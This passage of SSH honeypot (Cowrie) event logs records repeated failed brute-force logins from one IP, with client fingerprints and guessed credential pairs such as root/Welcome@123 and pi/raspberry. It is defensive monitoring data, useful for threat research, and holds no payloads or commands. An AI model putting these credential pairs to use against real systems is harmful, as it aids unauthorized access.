h-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:56:33.462318Z","src_ip":"91.92.42.133","session":"1230b16d77ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Welcome@123","message":"login attempt [root/Welcome@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:56:35.127996Z","src_ip":"91.92.42.133","session":"1230b16d77ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:56:36.241107Z","src_ip":"91.92.42.133","session":"1230b16d77ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":37008,"dst_ip":"159.203.135.109","dst_port":22,"session":"34caac71d57b","protocol":"ssh","message":"New connection: 91.92.42.133:37008 (159.203.135.109:22) [session: 34caac71d57b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:56:40.788605Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:56:41.049151Z","src_ip":"91.92.42.133","session":"34caac71d57b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:56:41.052238Z","src_ip":"91.92.42.133","session":"34caac71d57b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"dev","message":"login attempt [git/dev] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:56:41.658051Z","src_ip":"91.92.42.133","session":"34caac71d57b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:56:42.906631Z","src_ip":"91.92.42.133","session":"34caac71d57b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.34460735321045,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:56:44.578458Z","src_ip":"107.6.151.170","session":"698ffe02a900","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":34932,"dst_ip":"159.203.135.109","dst_port":22,"session":"826fdb62c481","protocol":"ssh","message":"New connection: 91.92.42.133:34932 (159.203.135.109:22) [session: 826fdb62c481]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:56:47.447559Z"}
{"eventid":"cowrie.session.closed","duration":37.032407999038696,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:56:47.480799Z","src_ip":"172.81.62.90","session":"87737106fceb","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:56:48.066743Z","src_ip":"91.92.42.133","session":"826fdb62c481","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:56:48.070171Z","src_ip":"91.92.42.133","session":"826fdb62c481","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"btc","password":"btc","message":"login attempt [btc/btc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:56:49.267220Z","src_ip":"91.92.42.133","session":"826fdb62c481","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:56:50.430608Z","src_ip":"91.92.42.133","session":"826fdb62c481","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":36280,"dst_ip":"159.203.135.109","dst_port":22,"session":"6e6f7defc626","protocol":"ssh","message":"New connection: 91.92.42.133:36280 (159.203.135.109:22) [session: 6e6f7defc626]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:56:55.020905Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:56:55.178706Z","src_ip":"91.92.42.133","session":"6e6f7defc626","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:56:55.181635Z","src_ip":"91.92.42.133","session":"6e6f7defc626","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"eve","message":"login attempt [root/eve] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:56:56.279017Z","src_ip":"91.92.42.133","session":"6e6f7defc626","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:56:57.485802Z","src_ip":"91.92.42.133","session":"6e6f7defc626","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":36288,"dst_ip":"159.203.135.109","dst_port":22,"session":"d50e497a9f6d","protocol":"ssh","message":"New connection: 91.92.42.133:36288 (159.203.135.109:22) [session: d50e497a9f6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:57:02.335190Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:57:02.392119Z","src_ip":"91.92.42.133","session":"d50e497a9f6d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:57:02.486422Z","src_ip":"91.92.42.133","session":"d50e497a9f6d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"raspberry","message":"login attempt [pi/raspberry] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:57:03.003102Z","src_ip":"91.92.42.133","session":"d50e497a9f6d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:57:04.165992Z","src_ip":"91.92.42.133","session":"d50e497a9f6d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":60180,"dst_ip":"159.203.135.109","dst_port":22,"session":"aa198aff5cbc","protocol":"ssh","message":"New connection: 91.92.42.133:60180 (159.203.135.109:22) [session: aa198aff5cbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:57:08.750514Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:57:09.047020Z","src_ip":"91.92.42.133","session":"aa198aff5cbc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:57:09.051130Z","src_ip":"91.92.42.133","session":"aa198aff5cbc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123","message":"login attempt [root/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:57:10.417356Z","src_ip":"91.92.42.133","session":"aa198aff5cbc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:57:12.056274Z","src_ip":"91.92.42.133","session":"aa198aff5cbc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":57992,"dst_ip":"159.203.135.109","dst_port":22,"session":"0fe12d984ee5","protocol":"ssh","message":"New connection: 91.92.42.133:57992 (159.203.135.109:22) [session: 0fe12d984ee5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:57:15.198044Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:57:15.783912Z","src_ip":"91.92.42.133","session":"0fe12d984ee5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:57:15.791621Z","src_ip":"91.92.42.133","session":"0fe12d984ee5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2wsx","message":"login attempt [root/1qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:57:17.790493Z","src_ip":"91.92.42.133","session":"0fe12d984ee5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.5","message":"Connection lost after 4.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:57:19.664601Z","src_ip":"91.92.42.133","session":"0fe12d984ee5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":58042,"dst_ip":"159.203.135.109","dst_port":22,"session":"5f99da1db01e","protocol":"ssh","message":"New connection: 91.92.42.133:58042 (159.203.135.109:22) [session: 5f99da1db01e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:57:21.915290Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:57:22.344686Z","src_ip":"91.92.42.133","session":"5f99da1db01e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:57:22.348477Z","src_ip":"91.92.42.133","session":"5f99da1db01e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test@123","message":"login attempt [test/test@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:57:25.497183Z","src_ip":"91.92.42.133","session":"5f99da1db01e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.9","message":"Connection lost after 4.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:57:26.779920Z","src_ip":"91.92.42.133","session":"5f99da1db01e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":43080,"dst_ip":"159.203.135.109","dst_port":22,"session":"4980fdf9a3d9","protocol":"ssh","message":"New connection: 91.92.42.133:43080 (159.203.135.109:22) [session: 4980fdf9a3d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:57:29.827607Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:57:30.002614Z","src_ip":"91.92.42.133","session":"4980fdf9a3d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:57:30.006291Z","src_ip":"91.92.42.133","session":"4980fdf9a3d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1234","message":"login attempt [ubuntu/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:57:31.357676Z","src_ip":"91.92.42.133","session":"4980fdf9a3d9","protocol":"ssh"}
